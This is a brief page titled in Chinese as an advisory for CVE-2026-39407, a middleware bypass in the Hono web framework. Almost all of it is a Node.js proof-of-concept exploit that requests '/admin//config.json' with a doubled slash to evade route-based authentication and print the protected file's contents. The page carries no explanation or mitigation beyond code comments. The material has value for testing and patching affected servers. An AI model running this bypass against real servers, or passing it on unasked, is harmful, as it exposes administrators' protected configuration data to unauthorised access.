CVE-2026-39407 Hono中间件绕过漏洞

// PoC for CVE-2026-39407: Hono Middleware Bypass // Description: Bypass route-based middleware by using repeated slashes. const fetch = require('node-fetch'); async function exploit() { const target = 'http://localhost:3000'; // Normal protected path that requires authentication/middleware check const protectedPath = '/admin/config.json'; // Malicious path with repeated slashes // The router might skip middleware matching, but serveStatic resolves it const bypassPath = '/admin//config.json'; console.log(`[+] Attempting to bypass middleware for: ${bypassPath}`); try { const response = await fetch(target + bypassPath); if (response.ok) { const data = await response.text(); console.log('[+] Exploit successful! Leaked data:'); console.log(data); } else { console.log('[-] Exploit failed.'); } } catch (error) { console.error('Error:', error); } } exploit();